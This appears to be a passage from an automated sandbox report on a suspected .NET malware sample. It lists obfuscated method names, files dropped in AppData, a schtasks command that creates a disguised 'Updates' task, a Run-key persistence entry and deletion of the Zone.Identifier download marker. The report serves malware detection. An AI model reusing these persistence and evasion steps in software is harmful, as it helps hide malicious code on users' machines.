Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, FIDComPUOgH5JRy9sb.cs	High entropy of concatenated method names: 'Dispose', 'iKvVRVh8l1', 'mBWC32q1wF', 'Xrn22tB2b6', 'swgV4qpFeQ', 'jCjVzASXBE', 'ProcessDialogKey', 'yQ0CQhEZhy', 'bdPCVQ7r5q', 'rcHCCpRKIM'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, GtWRNb8Z6ilZ7fdQu0.cs	High entropy of concatenated method names: 'sCbuxO6YqZ', 'zeLuadoZ43', 'Xr1u83pNaw', 'lCpu7fnkLX', 'y5Wu3uthYH', 'zgTutoXJ5A', 'O9ZulSLh1V', 'HeKu9XW1Be', 'gs9uyNY70T', 'plVuE7LUF3'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, AdIKiZTOrmiEELDc9D.cs	High entropy of concatenated method names: 'A67k5ZjMsq', 'HRlkZHtnyL', 'yAHkDVsgaw', 'FGjkoqPIVZ', 'uGNknPHve8', 'nKrkGYadj7', 'pCykf6WQ8L', 'i9Ykb4ZWDf', 'lq7kSIfc98', 'W7ikJ69BSV'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, zx9sPcFZXm1kCieFYZ.cs	High entropy of concatenated method names: 'g47Ls01fvs', 't0oLPlA9Op', 'V0wLpn5RCO', 'FX7LkJi7SZ', 'PWGLN57v3u', 's9npK5pU0A', 'qewpwxF5rY', 'gs1pckQ03l', 'NXQpBs2AmI', 'WBnpRbGP9O'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, UgSrknbgKc7CbTnK3T.cs	High entropy of concatenated method names: 'OJHP8P61tA', 'SgaP79DFfj', 'yYNPYbhXdE', 'jGLP0rL9jP', 'IASPKW9wC5', 'gdYPwrfa3I', 'aBnPcXkvB7', 'oLjPBVl5rF', 'nT6PR11Stx', 'lOnP4415f7'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, hRKIMx44gRGkpSbYg6.cs	High entropy of concatenated method names: 'UspqVq2UfJ', 'aCqq6J8vf9', 'IrkqgHEW4p', 'kpvqIcNgml', 'VUuqP5irdU', 'YPxqpbfDQV', 'W1vqLwOUGD', 'a3kvcikTGl', 'A0LvBmvV7J', 'dOuvR9Eb5W'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, Bv9tp1CX2HGWlNF5j7.cs	High entropy of concatenated method names: 'QQWD0jEl3', 'yaEon9ljb', 'gaYGh7U98', 'by2fnTTEH', 'bAeSIM6aR', 'CRkJfA5Ij', 'HlKlhAmwlYEMbmZgYH', 'hPu0APFwOvsATSLQjB', 'YBuvXbIig', 'Y06UTOi8K'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, FvbN39du4ymHr67yRt.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'UkfCRsWHII', 'FxNC4c0pmK', 'NcbCzWWop1', 'rcV6Qwq5FK', 'Ck76Vbm0PH', 'L1D6CrQxTQ', 'CWb66db457', 'yxZTdtBr8ppGI5p0DTj'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, oMCiUjzBPeF7qtcIEJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'crQqjKy5XP', 'hhlquCSa7y', 'VGhqHL7qX9', 'MQNqXkUJjN', 'f4UqvJErH1', 'PuNqqSWOx0', 'E4pqUH5KTS'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, ThEZhyRCdPQ7r5qvcH.cs	High entropy of concatenated method names: 'YjZvFgEgMN', 'M2Ev3mdMMZ', 'worvttnUyn', 'fH5vl3OnRH', 'kUNv8tq2WS', 'wxvv9N2g0n', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, WasSmoV6KYddoY1pevK.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'r1SU8WS8qg', 'hibU7aeUSg', 'LaJUYV9fWu', 'tixU0WnHE7', 'UXyUK2WxqC', 'Rk6UwPlJho', 'oesUcoD4f5'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, vhekVySNHNEF6vdGNR.cs	High entropy of concatenated method names: 'mTqdomHDVI', 'DvwdGaKoP3', 'OoXdb3FbNk', 'ITadSMUEEQ', 'MywduV0rVh', 'vDldH1nCo3', 'rsddXdSRBU', 'Yv1dv7KkGT', 'MQsdqhKEnh', 'Yb7dUsBTUQ'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, bcouJr0nu7QPUXcCVJ.cs	High entropy of concatenated method names: 'QFDXMQ5MmB', 'w4oXe7hW4R', 'ToString', 'IqZXI4u7bI', 'vTiXP4kc8r', 'RxTXd7evs9', 'TBiXpEX7xe', 'cu8XL6k2OY', 'J7UXk9C9Sr', 'hmdXNLxVPQ'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, sdWILBNvBBU0paUJK3.cs	High entropy of concatenated method names: 'LQl6seIjsN', 'V8k6Icm0F5', 'r396PkUnEv', 'wGl6dhUdJZ', 'p6e6pQin4c', 'sO96Lmng4o', 'pmT6koy0Ge', 'xfH6NC9OJd', 'SUd61gU5XX', 'bfD6MEk9UM'
Source: 0.2.oBMlky3Rkm7h5QK.exe.41b6740.5.raw.unpack, yhro0WgmvOHNbOvbd4.cs	High entropy of concatenated method names: 'egKVkgSrkn', 'dKcVN7CbTn', 'KNHVMNEF6v', 'hGNVeRcqmA', 'jiWVuA5Zx9', 'ePcVHZXm1k', 'aVerSb46eerbTokZDe', 'o9gy7qxItucd1FhJVV', 'Q35VVqWZlA', 'eV4V6Pa2Ql'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, Shm8rrVQ86ianZwLqDP.cs	High entropy of concatenated method names: 'W0nq5ND06x', 'VNaqZRltYH', 'VfiqDB7ukN', 'uyoqoMYkKD', 'XBaqnIx9C5', 'jnGqGhTwvO', 'YiqqfW0RgE', 'LEMqbraUYy', 'jnuqSPmGtD', 'qr8qJdYsCQ'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, WqcFFlYkd91GFNwSN9.cs	High entropy of concatenated method names: 'ToString', 'qpsHA4TxHA', 'D82H3q6Z0e', 'S4LHtuIB7j', 'h5THl4Der9', 'nuFH9OkIXR', 'Pe8Hy9GZQ4', 'elQHEiErUT', 'KXcH2R26dB', 'UefHTCfFBU'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, VgqpFeBQkCjASXBE5Q.cs	High entropy of concatenated method names: 'j92vIoxKnJ', 'Mk6vPRRLtr', 'mjcvdhvWlJ', 'eI6vp5Ch0v', 'fiqvLT651a', 'haavkyqrQo', 'pDPvNiR5SO', 'nCwv1CEXqY', 'kk0vMV4cIU', 'y5Yve3fwdy'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, h4i7XBwIpFKWLlh4dN.cs	High entropy of concatenated method names: 'ss3XB7erxi', 'YoGX45hq5p', 'ncOvQJF2bY', 'cZQvV92mk9', 'oblXA3CSS0', 'cMkXahSF70', 'JlXXmimdof', 'vuuX8m3EJg', 'gLaX7ouMJq', 'y5fXY7xwV5'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, TwI7Y4m8K7mSSD0YhV.cs	High entropy of concatenated method names: 'YJwjbtGDE9', 'vVRjSvAVnq', 'q9OjFI8xf5', 'zexj3TmULA', 'eJ7jlirI3w', 'i3uj903Rx2', 'NM3jETlQsj', 'QlPj25cFxD', 'se5jxF8Uns', 'CgwjAYEqEb'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, FIDComPUOgH5JRy9sb.cs	High entropy of concatenated method names: 'Dispose', 'iKvVRVh8l1', 'mBWC32q1wF', 'Xrn22tB2b6', 'swgV4qpFeQ', 'jCjVzASXBE', 'ProcessDialogKey', 'yQ0CQhEZhy', 'bdPCVQ7r5q', 'rcHCCpRKIM'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, GtWRNb8Z6ilZ7fdQu0.cs	High entropy of concatenated method names: 'sCbuxO6YqZ', 'zeLuadoZ43', 'Xr1u83pNaw', 'lCpu7fnkLX', 'y5Wu3uthYH', 'zgTutoXJ5A', 'O9ZulSLh1V', 'HeKu9XW1Be', 'gs9uyNY70T', 'plVuE7LUF3'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, AdIKiZTOrmiEELDc9D.cs	High entropy of concatenated method names: 'A67k5ZjMsq', 'HRlkZHtnyL', 'yAHkDVsgaw', 'FGjkoqPIVZ', 'uGNknPHve8', 'nKrkGYadj7', 'pCykf6WQ8L', 'i9Ykb4ZWDf', 'lq7kSIfc98', 'W7ikJ69BSV'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, zx9sPcFZXm1kCieFYZ.cs	High entropy of concatenated method names: 'g47Ls01fvs', 't0oLPlA9Op', 'V0wLpn5RCO', 'FX7LkJi7SZ', 'PWGLN57v3u', 's9npK5pU0A', 'qewpwxF5rY', 'gs1pckQ03l', 'NXQpBs2AmI', 'WBnpRbGP9O'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, UgSrknbgKc7CbTnK3T.cs	High entropy of concatenated method names: 'OJHP8P61tA', 'SgaP79DFfj', 'yYNPYbhXdE', 'jGLP0rL9jP', 'IASPKW9wC5', 'gdYPwrfa3I', 'aBnPcXkvB7', 'oLjPBVl5rF', 'nT6PR11Stx', 'lOnP4415f7'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, hRKIMx44gRGkpSbYg6.cs	High entropy of concatenated method names: 'UspqVq2UfJ', 'aCqq6J8vf9', 'IrkqgHEW4p', 'kpvqIcNgml', 'VUuqP5irdU', 'YPxqpbfDQV', 'W1vqLwOUGD', 'a3kvcikTGl', 'A0LvBmvV7J', 'dOuvR9Eb5W'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, Bv9tp1CX2HGWlNF5j7.cs	High entropy of concatenated method names: 'QQWD0jEl3', 'yaEon9ljb', 'gaYGh7U98', 'by2fnTTEH', 'bAeSIM6aR', 'CRkJfA5Ij', 'HlKlhAmwlYEMbmZgYH', 'hPu0APFwOvsATSLQjB', 'YBuvXbIig', 'Y06UTOi8K'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, FvbN39du4ymHr67yRt.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'UkfCRsWHII', 'FxNC4c0pmK', 'NcbCzWWop1', 'rcV6Qwq5FK', 'Ck76Vbm0PH', 'L1D6CrQxTQ', 'CWb66db457', 'yxZTdtBr8ppGI5p0DTj'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, oMCiUjzBPeF7qtcIEJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'crQqjKy5XP', 'hhlquCSa7y', 'VGhqHL7qX9', 'MQNqXkUJjN', 'f4UqvJErH1', 'PuNqqSWOx0', 'E4pqUH5KTS'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, ThEZhyRCdPQ7r5qvcH.cs	High entropy of concatenated method names: 'YjZvFgEgMN', 'M2Ev3mdMMZ', 'worvttnUyn', 'fH5vl3OnRH', 'kUNv8tq2WS', 'wxvv9N2g0n', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, WasSmoV6KYddoY1pevK.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'r1SU8WS8qg', 'hibU7aeUSg', 'LaJUYV9fWu', 'tixU0WnHE7', 'UXyUK2WxqC', 'Rk6UwPlJho', 'oesUcoD4f5'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, vhekVySNHNEF6vdGNR.cs	High entropy of concatenated method names: 'mTqdomHDVI', 'DvwdGaKoP3', 'OoXdb3FbNk', 'ITadSMUEEQ', 'MywduV0rVh', 'vDldH1nCo3', 'rsddXdSRBU', 'Yv1dv7KkGT', 'MQsdqhKEnh', 'Yb7dUsBTUQ'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, bcouJr0nu7QPUXcCVJ.cs	High entropy of concatenated method names: 'QFDXMQ5MmB', 'w4oXe7hW4R', 'ToString', 'IqZXI4u7bI', 'vTiXP4kc8r', 'RxTXd7evs9', 'TBiXpEX7xe', 'cu8XL6k2OY', 'J7UXk9C9Sr', 'hmdXNLxVPQ'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, sdWILBNvBBU0paUJK3.cs	High entropy of concatenated method names: 'LQl6seIjsN', 'V8k6Icm0F5', 'r396PkUnEv', 'wGl6dhUdJZ', 'p6e6pQin4c', 'sO96Lmng4o', 'pmT6koy0Ge', 'xfH6NC9OJd', 'SUd61gU5XX', 'bfD6MEk9UM'
Source: 0.2.oBMlky3Rkm7h5QK.exe.7360000.8.raw.unpack, yhro0WgmvOHNbOvbd4.cs	High entropy of concatenated method names: 'egKVkgSrkn', 'dKcVN7CbTn', 'KNHVMNEF6v', 'hGNVeRcqmA', 'jiWVuA5Zx9', 'ePcVHZXm1k', 'aVerSb46eerbTokZDe', 'o9gy7qxItucd1FhJVV', 'Q35VVqWZlA', 'eV4V6Pa2Ql'
Source: 0.2.oBMlky3Rkm7h5QK.exe.54a0000.6.raw.unpack, kdFvaMFVPKs73pA7Ae.cs	High entropy of concatenated method names: 'jlLbsIppcp4pe', 'HUDVafGQx3A5lYPXEbC', 'bWxlDPGFKtjOUjq8ME9', 'J13JY7Gs9VegMR0Usdn', 'gjnvHYGCPTFBSN5sXDA', 'UXn9pRGVr5JYGFjuCRJ', 'g8bQ3yGYPoLwrRusK3E', 'KwwAwLG5jtFVjgr5V0l', 'lJyLiGG0wAjthymuVo5', 'KrHGd2G9wj507LdZGDe'
Source: 0.2.oBMlky3Rkm7h5QK.exe.54a0000.6.raw.unpack, DD.cs	High entropy of concatenated method names: 'wgRxinKHcbWANUbFNm', 'dwveif1E9jqp4XTbTA', 'iYTXHL2SDoNZBJVsGw', 'hFySdn3keDBvJSvKal', 'PVIytPpWpuEYQLk40u'
Source: 0.2.oBMlky3Rkm7h5QK.exe.54a0000.6.raw.unpack, ihWImL1h2qjtIkVYDh.cs	High entropy of concatenated method names: 'qJUttacKFT', 'djwp7oGHZ8xfNf3m5ut', 'AZqALCG67UykKuowXP2', 'dkLCJpGlCfFdqtD7Epf', 'iHWSkAGjDuGN31hXJsT', 'u4UYnDGE5xCOMnt15QR', 'jhES7Va4c', 'jWmROKkjL', 'Dispose', 'BJj7gBhfp'
Source: 0.2.oBMlky3Rkm7h5QK.exe.54a0000.6.raw.unpack, oImfMJtvGUo8fMQNBQ.cs	High entropy of concatenated method names: 'cxsORewNJ', 'VvrninWuk', 'ustvIxt9o', 'QtXoY7g0N', 'cMKlMbnQu', 'w2KLAB5Xx', 'hNkF6TG2YCh7xU8s3hJ', 'hs4l1PGKtLhAeRnm1c4', 'Dispose', 'MoveNext'
Source: 0.2.oBMlky3Rkm7h5QK.exe.54a0000.6.raw.unpack, wehuuoKhMKMbnQu72K.cs	High entropy of concatenated method names: 'NXMyxc8eI', 'GTZadPHeP', 'DEVNaDCj9', 'cflmBNqev', 'VFQ0OImLC', 'PbYVMxZvt', 'UPdFjbLed', 'AeEi93ui9', 'oM66buTLn', 'nxFUIfcfn'
Source: 0.2.oBMlky3Rkm7h5QK.exe.2df44e0.0.raw.unpack, kdFvaMFVPKs73pA7Ae.cs	High entropy of concatenated method names: 'jlLbsIppcp4pe', 'HUDVafGQx3A5lYPXEbC', 'bWxlDPGFKtjOUjq8ME9', 'J13JY7Gs9VegMR0Usdn', 'gjnvHYGCPTFBSN5sXDA', 'UXn9pRGVr5JYGFjuCRJ', 'g8bQ3yGYPoLwrRusK3E', 'KwwAwLG5jtFVjgr5V0l', 'lJyLiGG0wAjthymuVo5', 'KrHGd2G9wj507LdZGDe'
Source: 0.2.oBMlky3Rkm7h5QK.exe.2df44e0.0.raw.unpack, DD.cs	High entropy of concatenated method names: 'wgRxinKHcbWANUbFNm', 'dwveif1E9jqp4XTbTA', 'iYTXHL2SDoNZBJVsGw', 'hFySdn3keDBvJSvKal', 'PVIytPpWpuEYQLk40u'
Source: 0.2.oBMlky3Rkm7h5QK.exe.2df44e0.0.raw.unpack, ihWImL1h2qjtIkVYDh.cs	High entropy of concatenated method names: 'qJUttacKFT', 'djwp7oGHZ8xfNf3m5ut', 'AZqALCG67UykKuowXP2', 'dkLCJpGlCfFdqtD7Epf', 'iHWSkAGjDuGN31hXJsT', 'u4UYnDGE5xCOMnt15QR', 'jhES7Va4c', 'jWmROKkjL', 'Dispose', 'BJj7gBhfp'
Source: 0.2.oBMlky3Rkm7h5QK.exe.2df44e0.0.raw.unpack, oImfMJtvGUo8fMQNBQ.cs	High entropy of concatenated method names: 'cxsORewNJ', 'VvrninWuk', 'ustvIxt9o', 'QtXoY7g0N', 'cMKlMbnQu', 'w2KLAB5Xx', 'hNkF6TG2YCh7xU8s3hJ', 'hs4l1PGKtLhAeRnm1c4', 'Dispose', 'MoveNext'
Source: 0.2.oBMlky3Rkm7h5QK.exe.2df44e0.0.raw.unpack, wehuuoKhMKMbnQu72K.cs	High entropy of concatenated method names: 'NXMyxc8eI', 'GTZadPHeP', 'DEVNaDCj9', 'cflmBNqev', 'VFQ0OImLC', 'PbYVMxZvt', 'UPdFjbLed', 'AeEi93ui9', 'oM66buTLn', 'nxFUIfcfn'

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	File created: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File created: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run qZeUnR			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run qZeUnR			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe:Zone.Identifier read attributes \| delete

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
